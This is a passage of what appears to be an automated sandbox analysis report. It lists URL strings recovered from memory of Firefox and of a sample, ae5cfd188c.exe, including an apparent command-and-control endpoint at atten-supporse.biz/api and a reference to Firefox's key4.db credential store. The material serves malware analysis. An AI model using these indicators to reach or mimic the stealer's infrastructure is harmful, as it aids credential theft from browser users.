Source: firefox.exe, 00000018.00000002.2870614524.000002BA61967000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2787277792.000000D7F87D8000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2847205509.000002BA5BE9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2860458807.000002BA5D10B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000018.00000002.2809778465.000002BA57CE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2792299128.000002BA49C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 00000018.00000002.2839565999.000002BA5B5FD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B710000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B75A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2839565999.000002BA5B580000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841657939.000002BA5B852000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000018.00000002.2888920201.000026C2BC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 00000018.00000002.2886166420.0000180E51A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: ae5cfd188c.exe, 0000000A.00000003.2787137785.0000000000C4A000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2753582951.000000000543C000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2750675747.000000000543C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/
Source: ae5cfd188c.exe, 00000007.00000003.2602849220.0000000000C54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/%
Source: ae5cfd188c.exe, 00000007.00000003.2572489789.0000000000C60000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2675012706.0000000000C61000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2576960562.0000000000C61000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2621695300.0000000000C61000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2572381559.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz//
Source: ae5cfd188c.exe, 00000007.00000003.2675964314.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2716989299.000000000543C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/=
Source: ae5cfd188c.exe, 00000007.00000003.2675964314.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/M
Source: ae5cfd188c.exe, 0000000A.00000003.2787137785.0000000000C4A000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000002.2813369882.0000000000CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api
Source: ae5cfd188c.exe, 00000007.00000003.2621573612.0000000000C69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api%
Source: ae5cfd188c.exe, 0000000A.00000003.2657437696.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiW6Wl
Source: ae5cfd188c.exe, 0000000A.00000003.2656059323.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiW6WlN&
Source: ae5cfd188c.exe, 0000000A.00000003.2684316064.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2717480504.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiW6Wlv
Source: ae5cfd188c.exe, 00000007.00000003.2751970018.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2752988072.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2675780705.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiZ
Source: ae5cfd188c.exe, 0000000A.00000002.2812159132.0000000000C4A000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2787137785.0000000000C4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apia
Source: ae5cfd188c.exe, 00000007.00000003.2572489789.0000000000C60000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2572381559.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apie
Source: ae5cfd188c.exe, 00000007.00000003.2675710575.0000000000C75000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2751970018.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2752988072.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2621573612.0000000000C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apille
Source: ae5cfd188c.exe, 00000007.00000003.2675710575.0000000000C75000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2602875312.0000000000C72000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2751970018.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2752988072.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2621573612.0000000000C76000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2602900867.0000000000C75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apindows
Source: ae5cfd188c.exe, 0000000A.00000003.2787137785.0000000000C35000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000002.2812159132.0000000000C35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/~i
Source: ae5cfd188c.exe, 0000000A.00000003.2787137785.0000000000C35000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000002.2812159132.0000000000C35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/api
Source: ae5cfd188c.exe, 0000000A.00000003.2787137785.0000000000C35000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000002.2812159132.0000000000C35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/api$
Source: ae5cfd188c.exe, 0000000A.00000003.2787137785.0000000000C35000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000002.2812159132.0000000000C35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/api.default-release/key4.dbPK
Source: ae5cfd188c.exe, 0000000A.00000003.2787137785.0000000000C35000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000002.2812159132.0000000000C35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/apiW6Wl
Source: firefox.exe, 00000018.00000002.2881483129.000002BA63435000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2871904573.000002BA61A12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 00000018.00000003.2736929005.000002BA61CE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2870614524.000002BA61990000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2875505657.000002BA61CAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 00000018.00000002.2886166420.0000180E51A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://baidu.com
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: ae5cfd188c.exe, 00000007.00000003.2547024349.0000000005600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2794739483.000002BA554AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2800920930.000002BA56B17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785432044.000001B8C53C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A7F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: ae5cfd188c.exe, 00000007.00000003.2547024349.0000000005600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2794739483.000002BA554AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2800920930.000002BA56B17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785432044.000001B8C53C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A7F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 00000018.00000002.2842971512.000002BA5BA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813831095.000002BA597AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2842971512.000002BA5BA95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2871904573.000002BA61A45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2871904573.000002BA61A45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2871904573.000002BA61A45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2871904573.000002BA61A45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: firefox.exe, 00000018.00000003.2766500542.000002BA5B07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1694699#c21
Source: ae5cfd188c.exe, 00000007.00000003.2496735561.000000000561F000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2496918281.0000000005608000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2630590484.0000000005428000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2630411285.000000000543F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: ae5cfd188c.exe, 00000007.00000003.2496735561.000000000561F000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2496918281.0000000005608000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2630590484.0000000005428000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2630411285.000000000543F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: ae5cfd188c.exe, 00000007.00000003.2496735561.000000000561F000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2496918281.0000000005608000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2630590484.0000000005428000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2630411285.000000000543F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2814174699.000002BA59800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000003.2658761411.000002BA59700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2660636691.000002BA5993C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2661028911.000002BA5995A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2661653128.000002BA59977000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000018.00000002.2878984131.000002BA61F12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813831095.000002BA597C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 00000018.00000002.2878984131.000002BA61F1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 00000018.00000002.2878984131.000002BA61F2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: ae5cfd188c.exe, 00000007.00000003.2547024349.0000000005600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2794739483.000002BA554AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2800920930.000002BA56B17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785432044.000001B8C53C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A7F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: ae5cfd188c.exe, 00000007.00000003.2547024349.0000000005600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2794739483.000002BA554AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2800920930.000002BA56B17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785432044.000001B8C53C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A7F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000018.00000002.2875505657.000002BA61C29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2850287498.000002BA5C07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 00000018.00000003.2740167016.000002BA5C07F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2850287498.000002BA5C07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 00000018.00000003.2740167016.000002BA5C07F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2875505657.000002BA61C29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2875505657.000002BA61C14000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2839565999.000002BA5B52F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2737097313.000002BA61CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2850287498.000002BA5C07F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2875505657.000002BA61CAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 00000018.00000002.2792299128.000002BA49C11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2792299128.000002BA49C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 00000018.00000003.2777563699.000002BA61B40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2721713786.000002BA61B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000018.00000002.2842712823.000002BA5B9B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc
Source: firefox.exe, 00000018.00000002.2814321427.000002BA598A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 00000018.00000002.2842712823.000002BA5B9B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 00000018.00000002.2814321427.000002BA598A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 00000018.00000002.2814321427.000002BA598A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 00000018.00000002.2842712823.000002BA5B9B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureElementReleaseCaptureWarning
Source: firefox.exe, 00000018.00000002.2814321427.000002BA598A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 00000018.00000002.2842712823.000002BA5B9B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#EncryptionPreventDefaultFromP
Source: firefox.exe, 00000018.00000002.2814321427.000002BA598A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 00000018.00000002.2814321427.000002BA598A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 00000018.00000002.2837480713.000002BA5ADEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
